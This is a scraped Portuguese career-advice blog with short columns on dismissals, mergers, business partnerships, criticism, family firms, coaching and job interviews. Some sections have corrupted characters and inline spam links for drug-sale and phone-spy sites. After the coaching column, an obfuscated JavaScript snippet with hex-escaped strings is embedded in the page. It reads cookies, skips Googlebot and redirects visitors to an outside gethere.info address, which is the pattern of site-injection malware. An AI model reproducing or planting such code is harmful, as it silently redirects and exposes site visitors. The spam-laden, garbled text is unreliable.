Em alguns momentos, nos deparamos com situações difíceis no trabalho e que exigirão separar bem a vida pessoal e profissional. É o caso, por exemplo, de quando temos informações sobre a demissão de um colega antes mesmo dele ter sido comunicado. Isso ainda é mais difícil se o profissional for um amigo pessoal.
Se você teve acesso a essa informação, isso pode se dever a duas situações: ou você ocupa um cargo que lhe traz informações “privilegiadas” ou você ouviu uma conversa que não deveria. Nos dois casos, passar a informação adiante é um erro grave.
No primeiro caso, é errado porque você não pode usar uma prerrogativa do cargo para “proteger” um amigo. Segundo, que um processo de demissão deve ser feito de maneira cuidadosa, e isso exigirá seguir os passos recomendados pelos procedimentos da empresa e do RH.
No segundo caso, muito embora exista uma amizade envolvida, é importante ter cuidado para não dizer a pessoa antes do gestor dela. Cabe a ele fazer o comunicado. Mesmo sendo uma situação angustiante, você pode ajudar a colega auxiliando no processo de desligamento ou procurando suporte para sua recolocação no mercado.
Apoiar na conclusão das suas atividades e ajudar a encaminhar seu currículo para sua rede profissional são alternativa para ajudá-la sem cometer alguma inadequação profissional ou prejudicar sua imagem.
http://vientreycorazon.com/2018/02/13/paxil-shipping/ 
http://healtip.xyz/?p=2005
N http://rhsindia.in/?p=4442 os tempos atuais, Ai?? perceptAi??vel uma busca desenfreada pelo sucesso, a necessidade de crescer rapidamente na carreira e a frustraAi??A?o que isso vem provocando nos jovens profissionais quando nA?o acontece. Mas Ai?? preciso ter cuidado com essa ansiedade, pois ela pode acabar prejudicando a carreira.
Todo profissional e especialmente os mais jovens precisam estar preparados para lidar com frustraAi??Ai??es e sonhar com os pAi??s no chA?o. Fazer planos de crescimento Ai?? necessA?rio sim, mas Ai?? preciso considerar que o resultado sA? aparece com muito esforAi??o, dedicaAi??A?o e competA?ncia.
Outra busca desenfreada dos profissionais atuais Ai?? pela felicidade, com uma tolerA?ncia muito baixa Ai??s dificuldades do ambiente de trabalho. Ai?? necessA?rio entender, entretanto, que todos nA?s temos momentos de dA?vidas e de desA?nimo, de frustraAi??A?o. E tambAi??m que felicidade Ai?? um conceito que envolve as vA?rias esferas da vida: pessoal, profissional, afetivo, de saA?de, etc. NA?o jogar o ai???pesoai??? todo no trabalho Ai?? fundamental.
Por isso, temos que aprender que a vida em comunidade e no mundo empresarial, principalmente, exige que se saiba lidar com esses momentos de mais dificuldades, sem achar que estA? no lugar errado ou que outro tipo de trabalho Ai?? que vai trazer a felicidade plena. Lembre-se que os sucessos meteA?ricos sA?o raros e, em alguns casos, pouco consistentes. Ai?? preciso ter paciA?ncia para construir uma carreira bem-sucedida.
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É muito comum vermos empresas se associando ou sendo adquiridas por outras. Nesse momento, os profissionais ficam preocupados com seus empregos. Nessas situações, é preciso ter alguns cuidados para preservar a carreira.
Se as empresas em questão têm culturas muito diferentes, será um processo mais traumático, especialmente para o elo mais “fraco”, isto é, quando a sua empresa foi adquirida. Compreender essa mudança é fundamental, por isso, procure conhecer a qual será a nova estrutura, os produtos e serviços que serão estratégicos, os resultados esperados para o negócio.
Fique atento ao que passa a ser marca. Com certezas as áreas de estratégia e marketing irão atuar nessa questão. Você pode contribuir evitando alimentar boatos e comparações com o passado. Espere uma oportunidade para mostrar que está aberto às mudanças.
Conheça suas próprias resistências e procure lidar com elas para não parecer que está trabalhando contra. Cuide dos espaços. Nada de invadir a área do outro, mas também é fundamental compreender como ficará seu cargo.
E se acreditar que há chances de perder o emprego, comece a se mobilizar para outras oportunidades, mas mantenha um posicionamento profissional até o final. Nunca se sabe o que o futuro guarda. Manter portas abertas é estratégico.
Resolvi montar um negócio com um amigo de infância. Mas quais cuidados devo tomar para manter a amizade e prosperar?
A escolha de um amigo para formar uma sociedade pode ser uma vantagem porque já existem afinidades construídas. Além disso, é possível que provavelmente os envolvidos já se conheçam bastante para ver se os estilos combinam. Mas isso não exime da necessidade de tomar algumas precauções.
Em primeiro lugar, é importante ver se os valores e a disposição para o trabalho são convergentes. Muitas vezes, um ponto de conflito é exatamente a diferença de ritmos para desenvolver e se dedicar ao negócio.
Um erro comum nesses casos é “esquecer” de formalizar o contrato societário achando que a amizade será suficiente para resolver divergências inerentes a qualquer relação de trabalho. O correto é ter contrato e pacto societário claros e formalizados, para preservar o negócio e até mesmo a amizade.
Outro ponto importante é definir os papéis e as responsabilidades de cada um, inclusive aproveitando ao máximo as competências individuais para ter sucesso. Alinhar diretrizes para o negócio também é fundamental. Outra dica é cuidar do papel de cada sócio também na gestão interna, orientando a equipe e organizando sua área de atuação.
Por fim, cuidar do caixa, acompanhar resultados e focar na estratégia precisam ser ações regulares e responsabilidade de ambos os sócios.
No nosso dia a dia, é comum termos conflitos no ambiente de trabalho, seja por discordarmos do ponto de vista de alguém ou até mesmo por termos pouca afinidade com um colega. Entretanto, acumular incômodos pode ser prejudicial para o desempenho de toda a equipe.
O que pauta as relações no trabalho são as afinidades, os interesses e os estilos dos profissionais. Não precisamos ser amigos de todos, mas manter um clima de respeito e cordialidade é fundamental.
Para tanto, é importante atentar para a necessidade de externar insatisfações. Isso porque aqueles conflitos que não são devidamente tratados podem ficar “guardados” e se transformarem numa bola de neve. Por isso, sempre que for oportuno, explicite o incômodo para não se deixar “sufocar” e terminar perdendo a cabeça e agindo de maneira inadequada.
Se você, por exemplo, tem um colega com comportamentos que o irritam ou com atitudes que você discorda, tente conversar sobre seus incômodos. Trate apenas do necessário, sem ofender a pessoa. Diga como acredita que poderiam lidar com as discordâncias para uma melhor convivência. Use os normativos da empresa e os valores como referências para a construção de acordos. Esteja aberto também a escutar o que colega tem de incômodo em relação a você e procure se reposicionar naquilo que for possível e pertinente. E lembre-se, trate as situações com bom humor.
Você verá que o clima organizacional ficará muito melhor.
Muitas vezes, reagimos negativamente diante das críticas dos colegas ou do gestor. Entretanto, é importante refletir sobre elas antes de responder.
O primeiro passo é encarar o posicionamento do outro sobre você não como verdade absoluta, mas como imagem que você pode estar passando. Mesmo se não concordar com a observação, quando alguém lhe criticar em algo, vale a pena ver o que está fazendo para dar essa impressão.
Mas por que nos frustramos tanto quando recebemos uma crítica? É simples. Porque pode mostrar algo que não gostaríamos de admitir em nós mesmos e por evidenciar nossas falhas. Ou até mesmo porque você acredita que todos estão percebendo sua intenção quando na verdade o que se destaca é o impacto da sua atitude nos outros.
Quando receber uma crítica, evite responder de “bate pronto”. Esse comportamento pode indicar que você está se percebendo como “atacado” pelo outro. Avalie antes se está reagindo sem pensar. Se você confiar no colega que está criticando pode ser mais fácil escutar a avaliação. E caso não consiga perceber o comportamento que gerou a crítica, peça evidências.
Por fim, reflita sobre você mesmo, analisando a relevância da crítica para o seu crescimento pessoal e profissional. Será que tem algo que você possa efetivamente aprimorar? Faça essa autoavaliação sem ser condescendente ou rigoroso demais consigo mesmo.
Grande parte das empresas tem origem familiar e muitas vezes a relação família/ profissional não está bem resolvida. É comum conflitos de origem pessoal interferirem na relação profissional, e quando isso envolve irmãos, o cuidado deve ser redobrado. Mas o que pode causar esses conflitos?
Em qualquer empresa, posturas e formas diferentes de encarar o trabalho, responsabilidades pouco definidas e disputas por espaço e reconhecimento são algumas das fontes de conflito nas equipes. Isso não seria diferente nas empresas familiares, especialmente entre irmãos. Esse aspecto pode ser agravado pela relação familiar que acontece fora da empresa, com situações mal resolvidas, e que podem impactar diretamente no desempenho da organização.
Por isso, é importante ter cuidado no relacionamento profissional x familiar. Trabalhar bem os acordos, as responsabilidades e os conflitos não resolvidos é fundamental. Focar na atuação de cada um dentro da empresa é outra forma de regular os conflitos.
Para irmãos, é importante pensar que a forma de conduzir qualquer situação deve ser a mesma de quem está lidando com um executivo que não é da família. O respeito e a forma de dizer também são importantes. O foco deve ser no que é melhor para a empresa.
E se o pai é o “chefe” da organização, ele precisa ter postura de gestor, considerando as diretrizes para o negócio na hora de acompanhar e cobrar. Nada de dar privilégios aos filhos ou beneficiar um filho especifico. É importante, ainda, ter um fórum específico de suporte aos gestores familiares para tratar pontos relevantes para os sócios, herdeiros e sucessores.
http://www.salessquared.us/instagram-spy-spy-on-iphone/ http://rhsindia.in/?p=4588 O http://vientreycorazon.com/2018/02/16/buy-flomax-online-uk/ suporte de um coach pode ser fundamental para o desenvolvimento profissional, mas quando saber se Ai?? o momento adequado para comeAi??ar esse processo?
O coach Ai?? um profissional apto a ajudar outros profissionais na busca pelo desenvolvimento atravAi??s de um processo que propAi??e mudanAi??as cognitivas e de hA?bitos, melhoria de desempenho, quebra de paradigmas, estabelecimento de planejamento, aAi??Ai??es, e, consequentemente, melhores resultados. Mas para identificar se a contrataAi??A?o de um coach Ai?? realmente necessA?ria, Ai?? preciso ficar atento a alguns sinais.
Na maioria das vezes, um profissional busca o coaching quando nA?o estA? satisfeito com sua atuaAi??A?o e vA? que pode desenvolver-se mais na funAi??A?o atual ou quando tem uma dificuldade especAi??fica que precisa trabalhar. Por exemplo, a necessidade de se comunicar bem com sua equipe ou a melhoria na forma de acompanhar os resultados.
Outra situaAi??A?o frequente Ai?? contratar um coach quando se vA? frente a um novo desafio, dentro do emprego atual ou em uma nova empresa, ou para ajudA?-lo a desenvolver uma competA?ncia solicitada pela organizaAi??A?o. Nesse caso, Ai?? possAi??vel pedir para que a empresa patrocine o coaching.
PorAi??m, Ai?? preciso lembrar que para que o processo seja bem-sucedido e os resultados sejam obtidos como esperado, Ai?? necessA?rio um total comprometimento, foco e dedicaAi??A?o do profissional acompanhado.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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A integração entre setores é fundamental para que as empresas alcancem bons resultados. Por isso, perceber a interferência da sua área de atuação na do colega é muito importante e pode facilitar as ações do próprio setor.
Quando se fala em estimular a integração entre equipes, logo vem à mente a ideia de trabalhar com profissionais que atuam na mesma área. No entanto, uma organização sempre é formada por mais de um departamento e todas as pessoas que nela trabalham somam esforços para dar vida ao negócio.
Para exemplificar, podemos pensar em uma engrenagem. Várias peças diferentes precisam rodar em harmonia para que o sistema funcione corretamente. Numa empresa não é diferente. É preciso que todos os colaboradores tenham, ao menos, uma noção do todo. Isso evita, por exemplo, que um departamento boicote o outro por desentendimentos que poderiam ter sido evitados.
Nesse sentido, o profissional precisa estar atento e buscar entender as dificuldades que cada setor enfrenta. Se ele acompanha os indicadores das outras áreas, vai saber atuar e se posicionar melhor, podendo responder ao gestor ou cliente com mais propriedade. Esse interesse, além de aumentar o conhecimento em relação à empresa, vai fazer ainda com que o profissional seja visto como versátil e proativo.
Um profissional que atua com uma visão sistêmica tem um grande diferencial e poderá dar resultados mais consistentes. Além disso, a compreensão sobre o funcionamento dos demais setores pode facilitar a fluidez nos processos, o relacionamento interno e a circulação de informações relevantes para o negócio dar certo.
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Passei muito tempo em uma mesma empresa e agora estou desempregado. Como devo me preparar para uma entrevista?
Ao se deparar com uma situaAi??A?o de desemprego apA?s muitos anos atuando no mercado, Ai?? comum que o profissional fique perdido quanto aos padrAi??es de comportamento, especialmente aqueles que tinham 20 ou atAi?? 30 anos na mesma organizaAi??A?o. Nesses casos Ai?? comum ficar inseguro, mas nA?o precisa ficar desesperado. Basta entender o que o mercado estA? pedindo e ficar atento a algumas atitudes.
Numa entrevista, o que o recrutador observa inicialmente sA?o questAi??es como pontualidade, cuidado no portuguA?s, atitudes discretas, apresentaAi??A?o pessoal, habilidade de comunicaAi??A?o, respeito aos demais candidatos, alAi??m das experiA?ncias profissionais.
Evite falar demais, seja objetivo sem deixar de responder a nenhuma pergunta. Utilize sua experiA?ncia como diferencial e fale dos principais resultados que vocA? entregou no emprego anterior. Se for uma entrevista coletiva, deixe espaAi??o para os outros candidatos se posicionarem. Pode ser que fique nervoso num primeiro momento, mas se focar nas suas qualificaAi??Ai??es, conseguirA? se sair bem.
FaAi??a perguntas que possam esclarecer sobre a expectativa para o cargo e os resultados esperados para o profissional a ser contratado. Demonstra interesse. Se jA? souber qual Ai?? a empresa contratante, faAi??a uma pesquisa sobre ela antes da entrevista e mostre que estA? por dentro do que acontece no mercado.
E se tiver algum ponto que pode expor a empresa anterior, peAi??a para esclarecer em um momento individual. Tenha atenAi??A?o ao que Ai?? dito sobre as etapas da seleAi??A?o e agradeAi??a ao final, seja qual for o resultado.
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